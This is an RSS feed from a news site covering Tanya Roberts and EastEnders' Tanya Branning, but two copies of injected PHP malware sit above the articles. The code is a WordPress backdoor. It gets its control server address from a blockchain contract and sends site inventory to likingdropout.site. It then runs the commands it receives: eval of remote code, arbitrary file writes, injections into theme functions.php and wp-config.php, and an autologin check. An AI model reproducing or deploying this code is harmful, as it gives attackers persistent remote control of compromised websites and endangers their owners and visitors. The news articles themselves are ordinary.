// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Tanya – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 04 Jan 2021 12:56:11 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Tanya – Brief News https://briefnews.eu 32 32 Tanya Roberts, That ’70s Show and Charlie’s Angels Actress, Dead at 65 https://briefnews.eu/tanya-roberts-that-70s-show-and-charlies-angels-actress-dead-at-65/ https://briefnews.eu/tanya-roberts-that-70s-show-and-charlies-angels-actress-dead-at-65/#respond Mon, 04 Jan 2021 12:56:11 +0000 https://briefnews.eu/tanya-roberts-that-70s-show-and-charlies-angels-actress-dead-at-65/

Tanya Roberts, who co-starred on That ’70s Show and Charlie’s Angels, passed away Sunday. She was 65.

Roberts reportedly collapsed at home following a walk with her dogs on Christmas Eve, a rep for Roberts told TMZ. She was hospitalized and put on a ventilator, but never recovered. The official cause of death is currently unknown.

The actress was perhaps best known as Donna Pinciotti’s mom, Midge, on That 70’s Show, a woman who was consistently the center of attention to all the young neighborhood guys. She appeared in 81 episodes from 1998-2004, but eventually left the series to care for her sick husband.

Roberts had a year-long stint on Charlie’s Angels, playing Julie Rogers in Season 5 (1980-1981). Rogers helped fellow Angels Kris and Kelly (Cheryl Ladd and Jacyln Smith, respectively) solve crimes until the series’ cancellation in 1981. Her other TV credits include The Love Boat, Silk Stalkings, Fantasy Island, The Blues Brothers Animated Series and Barbershop.

Though she began her career as a model in commercials for products like Excedrin, Ultra Brite, Clairol and Cool Ray sunglasses, Roberts ultimately bridged her career to film, where she was best known for starring in the 1985 James Bond film A View to a Kill, in which she played Stacey Sutton opposite of Roger Moore. In addition, she starred in slasher movies and B-films like Tourist Trap, The Beastmaster and Sheena.

Roberts is survived by her husband, Lance, and her sister Barbara Chase.

Let’s block ads! (Why?)


https://tvline.com/wp-content/uploads/2021/01/tanya-roberts-dies.jpg

]]>
https://briefnews.eu/tanya-roberts-that-70s-show-and-charlies-angels-actress-dead-at-65/feed/ 0
Vinnie Jones: ‘Tanya would be honoured’ Simon Cowell confirms star will be on X Factor https://briefnews.eu/vinnie-jones-tanya-would-be-honoured-simon-cowell-confirms-star-will-be-on-x-factor/ https://briefnews.eu/vinnie-jones-tanya-would-be-honoured-simon-cowell-confirms-star-will-be-on-x-factor/#respond Sat, 19 Oct 2019 23:06:18 +0000 http://briefnews.eu/vinnie-jones-tanya-would-be-honoured-simon-cowell-confirms-star-will-be-on-x-factor/

Elsewhere on the instalment, fans were a little bemused by Megan McKenna’s inclusion on the show. 

The former TOWIE star has previously had a record contract, but is taking part in the X Factor: Celebrity for another.

What’s more, she performed a song off an album she had previously released, meaning viewers weren’t happy. 

X Factor: Celebrity continues Saturday on ITV at 8.20pm. 

Let’s block ads! (Why?)

]]>
https://briefnews.eu/vinnie-jones-tanya-would-be-honoured-simon-cowell-confirms-star-will-be-on-x-factor/feed/ 0
EastEnders spoilers: Fans DEMAND Jo Joyner return as Tanya Branning absent for Abi's death https://briefnews.eu/eastenders-spoilers-fans-demand-jo-joyner-return-as-tanya-branning-absent-for-abis-death/ https://briefnews.eu/eastenders-spoilers-fans-demand-jo-joyner-return-as-tanya-branning-absent-for-abis-death/#respond Mon, 15 Jan 2018 22:46:58 +0000 http://briefnews.eu/eastenders-spoilers-fans-demand-jo-joyner-return-as-tanya-branning-absent-for-abis-death/

It was confirmed by doctors this evening that Abi (played by Lorna Fitzgerald) was “already dead”, leaving many to ponder why Tanya had not been seen since Boxing Day.

Abi has been laying in hospital helped by a life support machine, but Tanya has not been shown visiting Abi.

Tanya briefly returned to the soap to take Abi and Lauren Branning (Jacqueline Jossa) away from Max (Jake Wood) on Christmas Day, before watching both her daughters tragically fall from the Queen Vic roof.

However, after Abi received the tragic diagnosis that she is brainstem dead, Tanya appeared to make a dash for it.

As Max received more heartbreaking news tonight, fans rushed to social media to question Tanya’s absence.

One viewer tweeted: “So where the hell is Tanya this whole time? What kind of mother leaves both their children in hospital like this? Are you bantering me?? #EastEnders.”

“Just one question where has Tanya gone??? Daughter in hospital and not been seen since accident #EastEnders @bbceastenders,” posted another.

A third asked: “I’ve asked this question before and I’m going to ask it again….WHERE IN THE WORLD IS TANYA?!?! #EastEnders.”

“Bet Jo Joyner is on a beach somewhere anonymously tweeting ‘Where’s Tanya? Doesn’t she love her kids??’ and laughing her head off at this madness. #EastEnders,” teased another.

A fifth raged: “Where the f**k is fucking Tanya it’s p***ing me off #EastEnders.”

“For someone who was so adamant they don’t want Max around the kids. Tanya has picked a strange time to go missing again #EastEnders,” noted another.

Max previously explained that Tanya had been to the hospital but was doing everything in her power to avoid him because “she couldn’t bare to be around” him.

Josh Hemmings (Eddie Eyre) seemed to side with Tanya as he also warned Max: “I think it’s best if you leave. Tanya has already told security that you’ve been harassing her.”

Tanya actress Jo previously admitted her return to Albert Square was just “a visit”.

Will she return for a final goodbye as doctors urge Max to switch off the life support machine?

continues tomorrow on at 7.30pm.

Let’s block ads! (Why?)

]]>
https://briefnews.eu/eastenders-spoilers-fans-demand-jo-joyner-return-as-tanya-branning-absent-for-abis-death/feed/ 0
EastEnders spoilers: Tanya Branning mystery FINALLY explained as another death is revealed https://briefnews.eu/eastenders-spoilers-tanya-branning-mystery-finally-explained-as-another-death-is-revealed/ https://briefnews.eu/eastenders-spoilers-tanya-branning-mystery-finally-explained-as-another-death-is-revealed/#respond Thu, 04 Jan 2018 10:14:45 +0000 http://briefnews.eu/eastenders-spoilers-tanya-branning-mystery-finally-explained-as-another-death-is-revealed/

The mother of Abi (played Lorna Fitzgerald) and Lauren Branning (Jacqueline Jossa) returned to EastEnders to watch her daughters fall from the Queen Vic roof. 

However, after Abi received the tragic diagnosis that she is brainstem dead, Tanya (Jo Joyner) appeared to make a dash for it. 

After fans bombarded Twitter with questions surrounding her whereabouts, EastEnders finally revealed the truth. 

In the latest instalment, Max (Jake Wood) explained that Tanya had been to the hospital but was doing everything in her power to avoid him because “she couldn’t bare to be around” him. 

Josh Hemmings (Eddie Eyre) seemed to side with Lauren’s mother, and warned Max: “I think it’s best if you leave. Tanya has already told security that you’ve been harassing her.”

What’s more, Max also revealed what became of a long-lost forgotten EastEnders favourite, Rolf the gerbil. 

“That’s the thing about Abi, she never gives up,” he said.

“She had this gerbil, Rolf. I found her one day giving it mouth to mouth by the cage. She never gave up, not for a second.”

He added: “It actually worked, you should have seen her face – poor little thing didn’t last long after that. We buried it in the front garden. She made Tanya and Lauren do everything properly.”

Tanya actress Jo previously admitted her return to Albert Square was just “a visit”. 

EastEnders continues tonight at 7.30pm on BBC One. 

Let’s block ads! (Why?)

Daily Express :: TV and Radio Feed

]]>
https://briefnews.eu/eastenders-spoilers-tanya-branning-mystery-finally-explained-as-another-death-is-revealed/feed/ 0
EastEnders spoilers: Why is Tanya Branning really back? Jo Joyner reveals all https://briefnews.eu/eastenders-spoilers-why-is-tanya-branning-really-back-jo-joyner-reveals-all/ https://briefnews.eu/eastenders-spoilers-why-is-tanya-branning-really-back-jo-joyner-reveals-all/#respond Thu, 28 Dec 2017 17:06:39 +0000 http://briefnews.eu/eastenders-spoilers-why-is-tanya-branning-really-back-jo-joyner-reveals-all/

Unfortunately for Tanya (played by Jo Joyner) her reunion with daughters Abi (Lorna Fitzgerald) and Lauren (Jacqueline Jossa) was far from happy as the pair were involved in a tragic fall from the roof of the Queen Vic. 

Abi and Lauren are currently fighting for their lives in hospital with fans of the BBC soap anxiously waiting to find out if they’ll survive. 

While both have been revealed to be leaving Walford, it is still unknown how they will exit. 

But soap star Jo, has admitted she returned to so that she could be part of their departure. 

“I feel protective of my screen family and genuinely responsible for them,” she told Radio Times. 

“When I thought that the girls might be leaving, I felt I should be there for them.”

The 40-year-old actress went on to add: “I’ve watched Lorna grow from a 10-year-old sweetie into a beautiful and talented woman. 

“Jacqueline has been such a pleasure to work with and I love her to bits. I couldn’t say no to being involved in their exit stories.”

EastEnders continues tonight on One at 8pm and 9.30pm.

Let’s block ads! (Why?)

Daily Express :: TV and Radio Feed

]]>
https://briefnews.eu/eastenders-spoilers-why-is-tanya-branning-really-back-jo-joyner-reveals-all/feed/ 0
EastEnders spoilers: Jo Joyner reveals Tanya Branning future after Abi and Lauren exit https://briefnews.eu/eastenders-spoilers-jo-joyner-reveals-tanya-branning-future-after-abi-and-lauren-exit/ https://briefnews.eu/eastenders-spoilers-jo-joyner-reveals-tanya-branning-future-after-abi-and-lauren-exit/#respond Tue, 26 Dec 2017 18:21:12 +0000 http://briefnews.eu/eastenders-spoilers-jo-joyner-reveals-tanya-branning-future-after-abi-and-lauren-exit/

Last night’s explosive Christmas episode saw Tanya unexpectedly return to confront ex-husband Max Branning (played by Jake Wood).

It all got too much for Max who threatened to jump from the roof of the Queen Vic before their daughters Abi (Lorna Fitzgerald) and Lauren (Jacqueline Jossa) accidentally fell off when trying to talk him down.

